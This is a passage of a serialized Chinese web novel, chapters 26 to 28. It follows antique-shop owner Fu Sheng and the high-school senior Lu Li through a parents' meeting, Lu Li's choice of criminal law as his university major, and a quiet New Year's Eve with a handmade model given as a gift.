他原本想要去王盈盈家里,给她妈妈说一下王盈盈今天的事,但是转念一想,这种事由着他一个外人说不好。 外人。 陆离的眼睛垂了下去。 他在哪里又不是外人呢。 傅生在桌子上敲了几下:“想什么呢,走魂了了是吧?” 他说完这话,就看见陆离的睫毛垂了下去,似乎在思考什么。 好半晌,等到傅生以为陆离不会说话的时候,就听他冷着声音开口:“我们两个现在属于什么关系?” 傅生愣了一下。 “跟谁咱俩,叫哥。” 陆离黝黑的眼睛看着他。 哥——可他们俩又没有血缘关系。 傅生看着人反问道:“你觉得是什么关系?” 包吃包住,还养着他。 陆离想了一会,简洁明了地说:“包养?” 在一旁吃着饭的蒋文被这番发言呛到了,剧烈咳嗽起来。 最后默默地朝着陆离伸了一个大拇指。 傅生瞥了一眼蒋文,抬手在陆离额前轻敲了一下,“都是从哪里学来的这些词。” 陆离抿了一下唇说:“书上。” 傅生心说,哪个书比他还不正经。 “所以你出去做家教是为了不让我包养?”傅生说,“这是准备反抗金主,逃跑了是吧。” 【作者有话说】 呜呜呜没存稿了,以后写完就更,晚上九点到十二点之间。 谢谢宝子们的打赏!!!(狗叼玫瑰) 第0026章 第 26 章 ◎真是反了天了。◎ 陆离盯着傅生看了几秒, 那双眼睛笑着看他,在灯光下像是蒙了一层玻璃,陆离的手指动了动。 一直到晚上回到房间之后, 那双眼睛在他脑海里还是一直挥之不去。 陆离的手指遮着灯光放在眼睛上, 愣神想了半晌, 接着一个翻身坐起来。 书包里放着一堆书, 陆离将这些书全都倒在床上, 在最后一本书里,将自己当家教的时候挣的那些钱拿出来。 他从头到尾地数了几遍。 好像还差一点。 陆离拿着钱躺回床上,傅生就住在隔壁,房子还挺隔音,不过夜深人静的时候, 他偶尔能听见点动静。 可能是傅生起床喝水,有可能是闷着声音咳嗽。 但是今天, 他却没有听到任何动静, 他在干什么,陆离默默地想,他在床上躺了半晌, 一直睡不着, 干脆起身。 现在是凌晨两点, 万籁俱静,窗户外面起了雾, 陆离打开门。 傅生似乎还没睡, 房屋是虚掩着的,昏黄的光在门缝里透了出来, 陆离抿唇看了半晌, 他也不知道自己在看什么。 只是莫名地让他安静下来。 他在门口站了一会, 转身想要回去的时候,傅生的房门突然开了。 里面的人披着黑色的外套走出来,清瘦的手指上拿着个杯子,应该是出来喝水,他似乎也没有想到陆离在这里,愣了一下神,接着那双眸子弯了起来:“这么晚了,在这里站岗?” 陆离手指弯了一下,有一种被抓包的心虚感。 “没有。” 傅生笑了:“没有你大半夜不睡觉。” 陆离半垂着眸子,憋了半晌才说:“睡不着。” “睡不着?”傅生稀奇地看着他,“小小年纪失什么眠。” 陆离直觉再聊下去,这个人又开始没正形逗他,干脆直接转身:“我先回去了。” 他转身要走,手指刚碰到门框的时候,身后的人突然道:“不是睡不着吗。那干脆来我这里干点活。” 傅生的房间他进过几次,和他人完全不一样,色调很暗,让人进去的第一感觉就是很压抑。 他进去看了一圈,房间里的大灯没开,只开了一盏床头灯,光刚好把桌子那一小块环绕进去。 桌子上零星摆着一个模型,现在还看不出形状,只有一个底座被拼了出来。 原来他一直没有睡,是在做这个。 傅生坐在一旁,手里端着茶杯说:“别在那里杵着了,既然睡不着,就帮我把那些模型的碎片分好类。” 陆离原本以为傅生是让他分类,然后他在一旁继续拼模型,结果自己闷头干了半晌,才发现这个人就坐在旁边看着他,没有一点要动的意思。 “??” 他询问的目光看向人。 傅生注意到陆离的目光,在一旁懒散地说:“干活,当然是看着别人干才有意思。” 陆离:“……” 这是人能办出来的事? 傅生笑了,只是乐极生悲呛了一下,只能抵着唇闷头咳嗽起来。 按陆离原来的脾气,他应该转身就走的,但傅生捂着唇咳嗽的几声,神色看上去倦,还带着疲惫,陆离又坐了回来。 蒋文晚上睡了一个好觉,他伸了伸懒腰开门准备下楼,一开门,却见陆离那个小鬼绷着脸在傅生房间里出来了。 “我靠,大早上就见鬼了?” 蒋文觉得自己没睡醒,重新关上门,在门后面抹了一下脸,才又打开门。 然后他就看到傅生也在房间里走了出来。 蒋文走过去,拍了一下陆离:“你晚上这是干什么了?” 陆离斜看了一眼傅生:“问他。” 蒋文看向傅生,一脸畜生的表情。 傅生笑了一下,丝毫没有一点羞愧,对着陆离说:“你不是说睡不着吗?与其浪费时间,不如找点事干。” “我干了,”陆离说,“你呢?” 少年冷白的眼睑下面,竟然罕见地有了轻微的黑眼圈,趁着那张冷脸,像极了某个国宝级的动物。 不这么冻人的话,还是很可爱的。 当然傅生没敢说,说了恐怕就要尥蹶子了,他弯着眼睛欣赏了一会,接着从善如流地开口:“我睡得着。” 陆离:“” 陆离头也不回地下了楼,气得早饭都没有吃,挎着书包就出了门。 “啧啧,你看给孩子都气成啥样了?”蒋文顿时对于陆离有种同病相怜的心疼。 谁让他们跟了一个黑心老板。 蒋文下楼,一边踩着楼梯一边给黑心老板汇报:“今天早晨是西头的蟹饺,粥是南头的瘦肉粥,我原本想去买经常在周围流窜的老太太的豆腐脑来着,结果那老人家今天没有出摊……” 他叽叽咕咕地说着,回头一看才发现傅生根本没有下楼,他抛上去一个疑惑的眼神。 傅生的目光却落在楼下那个硕大的屏幕上,接着转身回屋:“你吃吧,我有点事。” “你也不吃了?”蒋文眼睛落在傅生刚才看的地方,红色的电子屏幕正一下一下地变换着时间,时间下面,有一排提醒的字。 “距离2013年新年还有十天。” 蒋文心说这人都什么毛病,一个个不吃饭,他下了楼。 桌子上的早餐还在冒着热气,蒋文哀嚎一声,“阿西吧,这么多东西让我一个人吃。” 他冲着楼上的房间喊道:“想要撑死我直说。” 楼上轻飘飘地飘出来一句:“奖金。” 蒋文气得咬牙切齿,敢怒不敢言。 只好在心里骂万恶的资本家。 * 陆离刚到学校,肩膀就被拍了一下,他皱着眉回头,一个大眼睛的男生包得跟个粽子一样,只露出眼睛看着他。 男生名叫李学波,在班级里,人送外号机灵鬼。之所以起这个外号,一是因为眼睛大,二是因为无论是老师还是同学,他都可以聊起来。 “陆离,你今天怎么到这么早?”因为穿得太多,他说话不得不把嘴上的围巾向下拉了拉。 陆离看了他一眼:“嗯。” 李学波显然已经习惯了陆离的这种说话方式,他跟着陆离的脚步开始自顾自地说话:“我昨天回家的时候,在楼下你猜遇到了谁?” 陆离心说我不想知道。 李学波却根本不用陆离回答就继续说:“遇到了咱们的教导主任,他带着比玻璃瓶子还厚的眼镜视力是真好啊,我刚想跑转身就被他叫住了。不过——” 说着,他突然凑近了,对着陆离说:“我得到了一个爆炸的消息。” 李学波的用词就这样,陆离只是瞥了他一眼:“哦。” “不是,这次真的是爆炸性消息,”李学波举着手发誓,“这马上都要过年了,学校里不是只剩下咱们高三了吗,光明顶说为了活跃一下氛围,要请家长来学校,叫什么来着,说是一年一度的年度总结。” 陆离抬眼看上他,眼睛里终于不是冷淡的事不关己的情绪了。 李学波这才笑了:“是吧,我没骗你吧。担心吗?” 陆离眉心轻皱:“什么时候?” “过年前一天,”李学波非常不爽地吐槽,“我知道高三学习紧,但是过年前一天才放假是不是有点过了,还请家长,当然你这个学习好的自然不用担心,可怜我的数学成绩这次才考了六十分。我爸爸要是知道了非把我的腿打断。学校不做人啊,光明顶不做人啊。” “李学波——” 身后一道气如山洪的声音瞬间让李学波的吐槽僵在原处,他梗着脖子回头,脸上都是讨好地笑:“主任,嘿嘿嘿,你今天怎么来得这么早。” “小兔崽子,”教导主任站在身后拽着他的帽子,“又在说老师坏话了是吧。” “没有,没有,”李学波将目光求救似的看向陆离,“不信你问问陆离,我正夸你英明神武,不愧是曾经在二中叱咤风云的男人。” 光明顶冷哼一声,看向陆离:“是这样吗?” 李学波用眼神拜托,陆离看了一眼,开口对着人道:“没记错的话,主任你今天值班。” 光明顶敲了一下自己已经没有多少头发的脑袋:“臭小子,我差点忘了,下次再收拾你,还有不许背后议论老师。” 李学波:“夸你呢!!” 光明顶回头吼道:“夸也不行!” “吓死我了,”李学波长吁了一口气,“陆离——” 他转身,才发现身边那个高挑的身影已经走出去好几米了。 陆离穿的校服,肥大的裤子都掩不住修长的长腿, 看着前方的身影,李学波露出羡慕的神色,果然长得帅的人都不怕冷。 “这次不是单纯的家长会,确定不用来个人听听。”光明顶喝了一口茶,不知道喝到了什么,使劲吐了几口。 陆离站在旁边看着人:“嗯。” 光明顶也知道陆离家的情况,叹了一口气,他看着眼前的男生,这两年,眼前的人似乎发生了脱胎换骨的变化。 虽然还是不爱讲话,但眼中的戾气却散得无影无踪。 “最后半年了,”光明顶偏爱好学生,对着人劝说,“只要能保持好成绩,排名靠前的那些学校差不多都能冲一下。想好了吗想要报什么专业?” “嗯。”陆离又嗯了一声。 光明顶看着眼前的人,心说还真是多了一句话都不说,他深吸了一口气:“行了,出去吧。” 话多的叽里咕噜的停不下来,话少的一句不说,问一下动一下。 都能把人气死。 临近新年,巷子里开始有了年味。 蒋文从小是孤儿,对于新年没有多大的感受,傅生看上去,也不像是在意新年的人,但是他每年会让蒋文买福字,贴花,还有一些寻常人家过年用的东西。 蒋文有些不理解:“你自己又不喜欢过,干什么准备得这么充分。” “为了还债。”傅生说。 “还啥?”蒋文惊讶地开口,“你欠了别人钱?不对啊,欠了钱的话和贴窗花什么关系。到底是欠了什么,你给我搞迷糊了。 傅生将贴花上的包装纸打开,纸上的红将他的指尖染了色,他垂着眸子盯着那点红说:“欠了一个人,好多个新年。” 他从小到大,没有好好过过新年,外面万家灯火,也没有一盏灯是为他亮的。 蒋文想说新年怎么还能欠下,但是他看着傅生的脸色,尤其是目光垂下去的时候,虽然目光平静,心情却不是很好,他决定还是闭嘴。 院子里寂静下来,几个孩童抓着糖果外面跑,稚嫩的声音在巷子里回荡。 “二十九蒸馒头,三十晚上熬一宿,初一初二满街走。” 傅生学着之前在钱阿姨那里学到的,将福字贴在门框上。 房间里的电话就是这时响的。 忙着扫地的蒋文扔下扫帚,跑过去接了电话:“浮生古董店,请问——” 说到这里,他顿了一下,抬头看着傅生说:“学校里来的,找你的。” “学校?”傅生皱了一下眉走了过去。 “你好,我是傅生。” 一道沙哑的中年男声传了过来,傅生听一次,差不多就能记住,很快就在脑海里搜出这个人的名字。 是陆离高三的教导主任。 光明顶说:“我本来没想给你打电话的,不过想了想还是给你说一声比较好。” 傅生:“嗯。” 年底的这次家长会,确实和光明顶说的一样,不只是为了成绩的事,最主要是前几次学校组织的填报的自愿,让家长听一下学生对于专业和学校的选择,给点意见。 陆离没有人给意见,就算是苏梅还在,也不会给他任何意见。 李学波终于把他那个围巾摘了,四周学生有的已经接到了家长,李学波在陆离身边看了看:“谁来给你开家长会?” 他是高二转来的,所以并不知道陆离的情况。 陆离只是撩了一下眼皮:“没人来。” 李学波啊了一声,意识到自己问了一个尴尬的问题。 他在陆离身边沉默的走了一会,一个包着的只漏出一双眼睛的男人给他招手:“学波。” 李学波惊喜的抬头,对着陆离说:“我爸爸来了,我先过去了陆离。” 陆离嗯了一声,垂下眸子继续向前走。 高三的学生不多,开会的大厅加上家长也只坐了一小半。 陆离习惯性地坐在最后一排,其他的学生都和家长坐在一起,他的目光落在不远处的李学波身上。 他爸爸拿着成绩单直皱眉,李学波捂住脑袋拼命地向后退,却被他爸爸抓住了帽子,父子俩差点打起来。 陆离只是看了一眼,就移开了。 讲话上的光明顶开始讲话,身后的门却在这时响了一声,几个学生后头瞥了几眼,然后小声地惊呼了一声。 陆离对于其他的事没有兴趣,在桌洞里拿出来政治题,准备这个会结束之前可以把这套卷子做完。 “挺认真啊。” 正写着呢,身边就多了个人,陆离惊讶地抬头。 傅生侧着脸看他,会厅的光投在他身上,显得他脸色冷白,此刻他半垂着眸子,将目光投在他卷子上,唇角弯了弯,最后给出个评价:“要是字再练练就好了。” 陆离:“……” 他下意识地想捂住卷子,但是很快就反应过来现在捂已经晚了,他和傅生对峙了半晌,最后干巴巴地问:“你怎么来了?” “怎么,不希望我来?”傅生的手指在他头上很轻地敲了一下,“家长会为什么不给我说。” 陆离小声地辩解了一句:“你又不是家长。” 傅生都要气笑了,大厅里人太多,他说:“等回家再给你算账。” 因为刚才的插曲,刚安静下来的大厅又开始乱腾起来。 有的人是在交头接耳聊天,有的则是在挨揍,还有的将目光落在他和傅生身上,叽叽咕咕地小声讨论什么。 陆离抿唇,不喜欢那些人落在傅生身上打量的目光。 “肃静!” 好在光明顶即使发了威,重重地拍了一下桌子。 光明顶虽然天天被学生起外号,学生还是比较害怕他的,这一嗓子下来,周围瞬间安静下来。 他很满意自己的成果,喝了一口保温杯的水,不知道是喝到枸杞还是茶叶下意识呸了一声,呸到一半突然想起来开着家长会呢,又强行咽了下去,噎的满脸通红。 “咳咳,那个我这次叫各位家长来的原因你们也知道了,现在我们就继续吧,现在大屏幕上是学生们自己填的志愿,里面包含着想去的学校和想去的专业。” 傅生挑了一下眉,目光看向前边的白板。 他也想知道陆离报的什么专业,什么学校。 他和陆离一样大的时候,想报的是什么来着?好像什么都没有想过。 那时候,他认为自己没有未来,后来,也确实没有未来。 傅生垂着眼睛,敛下眸中的光。 …… 大屏幕上开始播放各个学生的志愿,光明顶有时候还会随机念出来几个。 “咱们的胡莉莉同学,想去西南大学,学考古专业,志愿不错,”他看向胡莉莉,“问一下这位同学,你为什么想着去考古?” 胡莉莉低着头,憋了好大会才红着脸说了一句:“我想看看古代的王爷是不是真的这么帅。” 她这句话说完,周围人就开始笑了起来。 “行,有这个志向也行,”光明顶没笑,也没说别的,只是提醒了一句,“帅不帅你可能不知道,不过你可以看看哪个王爷的头骨长得最标准。” 傅生眼睛弯了一下,余光看向陆离的时候,发现他抿着唇,手指又开始捏着手心。 他的眉毛挑了一下。 又开始做这些心虚的小动作? 傅生对于陆离填的什么志愿更感兴趣了。 报的什么,看见自己这么心虚。 陆离自己没有注意到傅生看他,他垂着眼睛,拿着笔在卷子上,只是好几分钟过去了,愣是一个字没有写出来。 光明顶念了几个,气的脸都绿了,他指着现在屏幕上的同学说: “张绅,我请问你写的想去盗墓是真的吗?你现在想去吃国家饭你就直说。” 周围哄笑成一团。 张绅刚想站起来讲点什么,就被旁边的家长一把薅下去了:“主任,他开玩笑的,我和他爸回去一定严厉批评他。” 光明顶又讲了几个,掀开一页,看到下面人的时候哎了一声,脸上终于有了点笑意:“终于看到一个正经的了。陆离。” 陆离不想说话。 傅生弯着眼睛看着前边,只是当光明顶将那张志愿放在显示屏上的时候,他的笑脸有点绷不住了。 陆离,北川政法大学,法学,刑事司法方向。 傅生:“……” 真是反了天了。 他一个骗子差点当场气过去。 【作者有话说】 傅生:孩子志愿填的不好,怎么办,打一顿就好了。 第0027章 第 27 章 ◎十八岁,新年快乐◎ 家长会结束的时候差不多已经八点钟了, 学校附近的巷子的人家都已经挂上了灯笼,陆离闷头走着,一路上没有说话。 身后有些学生家长还在讨论学生成绩的事:“你怎么这么不听话, 我和你爸还不是为了你好, 报个这么冷门的专业, 以后能找到工作吗?” 学生小声地辩解了一句:“我就是喜欢这个专业, 你们给我选的我不太喜欢。” “喜欢, 喜欢能当饭吃?”孩子爸爸语气很凶,下一秒像是就要揍上去了,“报个本地的学校就行了,跑这么远干什么去?” 家长你一句我一句,全然不顾孩子的一句话, 最后学生爆发似的吼了一句:“我就是要报这么专业,我就是要报这么远, 我就是要离你们远点, 怎么了,不行么?你们什么时候把我当成一个独立的人来看过,从来都是用来和其他人攀比的工具。” 这一声似乎把父母两个都吓住了, 寂静了片刻, 那个父亲吼了一声:“逃离我们, 行啊,你有本事别花你爹的钱。现在就滚——” 书包被摔在地上。 学生哭着跑开了。 “让他滚, 永远别回来了。”那个父亲气喘吁吁地说。 “行了, 你和孩子生什么气。”母亲说,“等我回家说说他, 实在不行偷偷把志愿改了。” 巷子里的路灯照在青石板上, 两个人离着一家三口越来越远, 直到完全看不见他们,陆离将手揣进兜里,将衣领的拉链向上拉了拉。 他从小生活在松里,对于这些已经见怪不怪了。 “冷了?”带着些许凉意的声音在耳边响起。 陆离一顿,闷声说:“没有。” 傅生嗯了一声,两个人走了片刻,又开口:“怎么想着报这个专业。” 陆离说:“喜欢。” 他又开始无意识地捏手心,等着傅生对他失望,或者像是之前的学生家长让他换点现在的专业。 “嗯,”傅生却没有多说什么,还顺便打趣了一下自己,“看来以后我在你面前要遵纪守法一点,免得以后被你这个小鬼抓住把柄。” 陆离原本一直垂着眸子,听到傅生说的话,抬眼看向他。 傅生摸了摸脸,轻笑着道:“这么看着我干什么?我脸变异了?” “你不生气?”陆离讶异地说。 傅生盯着陆离看了几秒:“我为什么生气?” 陆离垂下眸子,傅生和蒋文做的事情,他其实多少知道一点,就算两个人很少在他面前谈起,但也没有完全地避着他。 他张了张嘴,却什么也没说出口,傅生却看出了他的心思,缓着声音说:“自己想做什么就去做。别人怎么样都是别人的选择,你无需负责只需要做好自己。” 做好自己。 陆离忘记了那天的心情,只记得那天的路显得很长,身边的人高挑且清瘦,他的影子很轻地投在一侧的墙壁上。 天空零零碎碎地放起了烟花。 陆离眨了一下眼。 新年伊始,他希望和身边的人可以殊途同归。 三十那天的早晨,大清早就能听见噼里啪啦的鞭炮声,傅生睡觉特别浅,稍微一点的动静就睡不着。 他捏了捏眉心,下楼的时候,看见陆离已经穿戴整齐的站在楼梯口:“今天又不用上学,怎么还起这么早?” 陆离看过去。 高三的生物钟让他到点了就睡不着了,他刚想说睡不着。接着就想起来眼前这个不怎么干人事的人上次让自己干什么。 他话到嘴边转了一个话头:“鞭炮太响了。” 傅生看着他轻挑了一下眉,转身去了洗手间,陆离在外面听着里面洗漱的声音,装作随口问道:“今天怎么这么清静?” 里面水流声逐渐停下,傅生出来的时候,额前的头发带着潮气,他随意地向后扒了一下,露出格外分明的眉眼。 那双眼太明媚,陆离下意识就移开了眼睛。 不对,他为什么要移开眼睛。 陆离瞪着眼睛又看了回去。 “清静?你刚才不是还在怪鞭炮声太响了吗?”傅生先是疑惑,接着反应过来陆离想问什么。 十七八岁的少年人,尤其是对于陆离这种性格想问什么关心什么从来都不会直接说。 傅生故意打趣道说:“这不是和平时一样。” 陆离下意识说:“少了一个——”刚说到一半,就看到傅生弯着看他的眼睛。 “……” 他瞬间止住了话头,闭嘴,转身下楼。 傅生在背后看着人笑,“你蒋文叔叔说过年没意思,北川的冬天又太冷,所以找个地方度假去了。” “哦,”陆离很冷淡地说,“关我什么事。” “确实和你没关系,”傅生一边将袖口的衣服抚正,一边说,“不过我得提醒一句,咱们今天过年,大年夜吃什么。” 陆离向前走的脚步顿住。 平时都是蒋文买早饭,中午晚上他还会下厨,总是一日三餐都仰仗那位话痨,现在人走了,正值年底,各个大小超市关门回家过年。 别说饭了,想买菜都没有地方去。 “那怎么办?”陆离绷了一会说。 他垂着眸子皱着眉,似乎正的在计算蒋文回来之前,他们两个人会不会饿死的概率。 “还能怎么办,饿着吧,”傅生翘着二郎腿坐在沙发上,还有心思开玩笑,“或者,拿张纸拿支笔,学学古人画饼充饥。” 说完,他见陆离没声音,瞥了陆离一眼,“顺便给我也画一张。” 陆离:“” 他面无表情地看了傅生一会,转身走到冰箱门前,那门一打开,里面的东西琳琅满目差点掉出来。 别说过年期间,这些东西都能拿到末日逃生。 果然又在糊弄他。 陆离在冰箱里里面拿了几片面包,声音冷的像是冷渣渣:“你自己吃饼吧。” 虽然狠话放下了,不过陆离还是很大度给傅生也做了一份。 只是他做饭的技术确实不怎么好,面包中间是凉的,鸡蛋也煎煳了, 傅生盯着盘子里的早餐看了半晌,开口想要评价的时候,被陆离一个冷眼看了过去。 “闭嘴。” 傅生心说你胆子肥了,这么对你哥,但是看着陆离从耳边一直蔓延到脖子的红,终于大发了一次慈悲,只是弯唇笑了一下。 孩子第一次做饭,让让他。 大年三十这天其实不怎么忙,陆离在房间里刷了几套卷子,他的房间正对着院子,偶尔抬眼的时候,能看到傅生坐在院子的躺椅上。 他这个人似乎都是懒懒散散的,对钱也并不看重。 陆离抿唇,不知道为什么,他却觉得傅生并不想表面看上这样。相反,他身上似乎压着很重的东西。 只有偶尔的时候可以窥探到冰山一角。 楼下铃铃铃的电话声打断了陆离。 他将试卷向里推了一下,就快速地跑下了楼。 电话是傅老爷子打来的,询问他们晚上要不要去傅家。 陆离刚想说话的时候,傅生已经走进来,他将电话接过去:“嗯,就我和陆离,不回去了,改天。” 傅老爷子的声音听起来似乎有些失望,但是也没说什么,只是嘱咐道过两天带着陆离回家一趟。 傅生嗯了一声。 挂了电话,陆离看向傅生:“今年不回去?” 以前每逢大年三十晚上傅生都会回去一趟,就算不吃饭也会去那边看一眼,可能是为了让老爷子安心。 “嗯。”傅生说,“今年不回去。” 陆离皱了一下眉:“为什么?” 傅生说:“陪你过个年。” 陆离愣了一下。 片刻,他才反应过来,今年就他们两个。 是独属于他们两个人的新年。 下午,松里的钱姨突然打电话让过去拿点东西。 傅生下意识的拒绝,钱姨说不去就给他们送过来。 他想了一下年过半百的人给自己送东西的画面,还是决定自己去拿。 松里这地方虽然破落,看上去却比外面的年味要足得多,并不是说装饰上有多好,而是邻里之间的氛围,大家伙有活都在一起忙乎。 两个人到的时候,钱姨他们正在巷子里蒸馒头,巷子里支着一口大锅,里面的柴火库库地燃着。 见傅生走过来,钱姨沾了面粉的手在围裙上擦了擦。 “小傅小陆来了?” 傅生笑着看过去:“新年快乐,钱阿姨。” “快乐快乐,”钱阿姨脸上的皱纹笑地堆在一起,又将旁边准备好的一个黑色的瓦罐包好递了过去,“之前阿姨说的请你们吃饭一直没时间,现在不是过年了,我提前煲好的,你们拿回去吃。” 傅生看着瓦罐被洗得噌亮,一看就是专门洗了很多遍,他眼睛垂了一下才接过:“好,那就麻烦钱阿姨了。” “小傅你这就见外了,给阿姨客气什么,”钱阿姨的眼睛又落在陆离身上,“现在上高三了吧,学习怎么样?” 陆离不擅长和这些长辈打交道,只是点了一下头,傅生将话接了过去。 “学习很好,准备把他哥抓进去。” 陆离:“……” 钱阿姨听不懂啊了一声。 傅生弯着眼睛笑了。 从松里回去的时候,天已经黑了,四周放起了烟花。 古董店的院子格外大,视野很是开阔。两个人干脆就把桌子设在院子里。 其他人家都是热热闹闹的,一大家子的人聚在一起,对比之下倒是显得古董店冷清起来,尤其是少了蒋文那位大话痨。 其实两个人都不是喜欢热闹的性格,傅生却看上去和平时不太一样,可能是喝了酒的缘故,他的眼神里似乎装着什么,像是秋冬起了雾的湖面,虚虚沉沉的看不真切。 一直到外面响起了剧烈的鞭炮声,傅生对着陆离说:“可能有点醉了,可以帮我去冰箱里拿杯牛奶吗?” 陆离看了他一瞬,起身走回屋子里,拿了一杯牛奶递给他,结果垂眸的时候,却发现桌子上多了一个东西。 一片一片拼出来的古董店的模型,院子里的一砖一瓦都格外还原,院子里的躺椅上躺着人,模样懒散,不用想也知道是谁,旁边站在穿着校服的他。 他愣了一下,看向傅生。 傅生笑着说:“送你的。” 陆离又愣了一下,目光中露出几分迟疑:“送我。” “嗯,送你。新年快乐,还有——”傅生弯了弯眼睛,顿了一下,又说了句什么,被烟火声和爆竹的声音盖了过去。 周围的烟花和爆竹的声音接连不断,照亮了大半片天空,不知道谁家的电视声音开得很大,电视里的主持人说:“恭喜我们又进入了新的一年,祝电视机前的全体人民新年快乐。” 陆离好大会才找到了自己的声音,他不知道怎么形容自己的情绪,只好转开话题说:“你前段时间就是一直在做这个?” 那段时间,傅生房间里的灯火一直会亮到很晚,他以为他在处理他的事,没想到—— “怎么?感动了?”傅生笑了一声,“别急着感动,这碎片分类有你一半的功劳。” 陆离:“……” 好不容易酝酿起来的情绪瞬间没了,他瘫着脸说了一声谢谢。 “不过,你手艺不太精湛,少装了一个人。” 他决定挑点刺掩饰自己不知道说什么的情绪。 傅生也不点破,接着他的话说:“你是说你蒋文叔叔。” 陆离嗯了一声。 傅生指了指;“你再仔细找找?” 陆离瞪大了眼睛,最终在院子的角落里找到了拿着扫帚扫地的蒋文老师。 甚至脸上哀怨的表情都做得惟妙惟肖。 陆离唇角罕见了上扬了一下,要是蒋文知道自己在模型里还要扫地,一定嘴都气歪了。 傅生看着陆离嘴上那点笑说;“看来喜欢?” 陆离装作不在意:“还行吧。” 嘴上说着还行吧,回房间的时候,全程抱在怀里,手都没舍得撒开。 傅生看着陆离抱着模型的样子,心中不免好笑,他说:“别熬太晚。” 陆离嗯了一声,就关了门。 傅生收回了目光,手刚放到把手上,身后的门倏然又打开了。 他目光疑惑地看过去。 陆离站在灯光下,看着人开口:“新年快乐。” 傅生弯一下唇角说:“新年快乐。” * 陆离回到房间之后,将模型先是摆在书架上,又觉得不够显眼,又将模型拿走,放在床边的桌子上。 这个是傅生亲手做的。 是一个碎片一个碎片地拼出来的。 手机就是在这时叮咚响了一下,陆离拿起手机看了一眼。 绿泡泡的消息提示,他打开,果不其然是那位消失的话痨蒋文。 “新年快乐,小哑巴。” 陆离回了一句新年快乐,然后对于那句小哑巴的回报,他将模型拍照发了过去。 蒋文:“??” 蒋文:“傅生送的?” 陆离嗯了一声,一看就知道对面的人没有找到重点,他将蒋文扫地模型的那一块放大给蒋文发了过去。 蒋文:“???” 蒋文:“好好好,等我杀回去。” 这个傅生为了哄这个小崽子开心,真是什么都做的出来,竟然拿他作为消遣。 陆离看着蒋文发过来的好几把刀,眼睛动了一下,里面盛了些许笑意。 很快,他就听到了傅生的那边的电话响了起来,那道温凉的声音透过墙传了过来:“嗯,是我做的,可以,不过提醒你一句,过年之后本来要给你涨工资的。” 再然后就没了动静。 只有一道影子孤零零地映在窗口。 陆离盯着那道影子,抿了一下唇。 傅生挂了手机,手中端着一个白瓷杯,看着外面的烟火。 过了十二点之后,外面的烟火逐渐平息下来。 他在十多岁的时候,其实很不喜欢过年,不知道是北川独有的习俗还是松里的独有的习俗。大年三十这天,男人要走街串巷地喝酒。 这就意味着,他和苏梅又会被赵国强打。 那时候冬天很冷,他以为自己不在家赵国强会收敛一点,最起码会放过苏梅,就自己一个人在巷子里乱窜。 每年这时候,他记忆最深的不是团圆,而是冬天里扑面而来的寒风。 傅生的手指动了一下,记忆里冻得手指发麻的感觉现在似乎依旧能感受得到。 就在这时,他的手机响了一下。 陆离消息发了过来:“睡了吗?” 傅生回了一个:“睡了。” 刚发过去,结果自己旁边的窗户就被敲了一下,陆离冷着一张脸从窗户里探出头来。 他晃着手机说:“睡了?” 傅生丝毫不慌:“正打算睡。你不是也没睡。这是又想去应聘国宝?” 陆离罕见地没怼人,也没有转身就走,抿唇看了他一会,才道:“你晚上不开心。” 不是疑问的口气,而是笃定。 两个人窗户挨着,他们都站在窗口,离得很近,中间却堵了一道墙。 傅生愣了一下,接着开玩笑道:“晚上也没喝酒,这是醉了?” 陆离看着他。 傅生被那双大眼睛看得丝毫没有办法,他哄人一般道,“好了,我没事,也没有不开心,可以去睡觉了吧祖宗。” 窗户那边的人没动。 接着,他听到那道冷调的嗓音小声地嘟囔的一声骗子。 陆离这个名字不知道谁起的,他出生在大年初一,原本是阖家团圆的日子,却被叫了一个离字。 仿佛从一出生就不被期待。 后来上户口的时候,因为当时工作人员的失误,出生日期1.1被写成了7.1。 寒冬成了盛夏。 唯一记得陆离真正生日的奶奶已经去世,后来,除了他自己,再没人再记得。 但在今天晚上,虽然烟火声很大,但他还是听到了。 傅生在说新年快乐之后,还低声说了一句。 ——陆离,十八岁生日快乐。 命运总是喜欢重复,摧毁,崩塌,又重建。 傅生代替命运,终于给年少的自己,补上了那句十八岁的生日快乐。 【作者有话说】 呜呜呜,成年了!没人爱你,还有我爱你。 他名字带离,他就把团圆定格在模型里,一起送给他。 第0028章 第 28 章 ◎陆离好半晌才反应过来,那是傅生的唇。◎ 傅生其实并没有陆离说的那样不开心, 他只是心里升起一种像是欣慰又夹着酸涩的情绪。 像是不知道向谁置了一口气,那口气却随着新年烟火像是一缕被撕裂的烟,逐渐消散了去。 之前网上对于他的报道不算少, 有些是铺天盖地骂他, 有一小部分甚至追捧过他, 但无一例外的是, 无论是吹捧还是咒骂, 对他的结论都是天生坏种,心狠手辣,歹毒心肠。 傅生其实没觉得他们说得不对,甚至可以一笑置之,只是见到陆离之后, 他却有点替十几岁的陆离感到委屈。 天生坏种,现在只是一个襟怀坦白的少年。 * 新年过去得很快, 可能是怕高三压力太大, 光明顶发通知开学时间调到了十五之后。 陆离依旧还是每天早起,傅生起来的时候,有时候早餐已经摆到桌子上了, 厨艺倒是一天比一天见长。 唯一不好的一点就是, 他每天的咖啡都会被陆离换掉。 “我的咖啡呢, ”傅生看着面前的牛奶无奈地摇了摇头,他看着陆离, “请问这位同学。” 陆离将最后牛奶喝掉, 瞥了眼傅生说:“没有咖啡,只有牛奶。” “不是, ”傅生意图给他讲道理, “你喝牛奶是因为长个, 我天天喝牛奶是为了干什么?” 陆离看了傅生一眼,知道他那张嘴可以死的说成活的,他不说话,起身的时候把自己那一块收拾干净:“反正只有牛奶。或者你可以试试明天比我早起,夺回对早餐的话语权?” 傅生心说鬼知道你几点起。 他也不是没有尝试过早起,每次起来陆离就已经顶着一张雪白的冷脸坐在餐桌前了。 他只能认命地端起那杯牛奶,喝了一口:“以后一半牛奶一般咖啡总行了吧。” 陆离给他一个做梦的眼神。 傅生心说你真的是胆子肥了,连你哥都要管。 可事实是傅大老板拿着这位管哥严丝毫没办法。 现在还属于年关,巷子里小摊贩都还没有出来,自然没有人买古董,傅生慢悠悠地喝着牛奶的时候,门被敲了几下。 这个时候谁会来? 傅老爷子来之前都会先打电话,蒋文现在还在度假,陆离和他露出一样疑惑的情绪,冷声说了句:“我去开门。” 傅生神态自然地抓着杯子:“去吧。” 他打算在陆离转身的时候,将桌子上的的半杯牛奶倒掉,在陆离回来之前假装被自己喝掉了。 完美。 只是计划还没有实施,陆离就已经看透了他的想法。 “不许倒。” “……” 傅生微笑地看着他:“你是在说我吗?这就有点冤枉人了。” 陆离就这么默默地看了他几秒,傅生无奈道:“行了,不倒。再敲门,外面的人要疯了。” 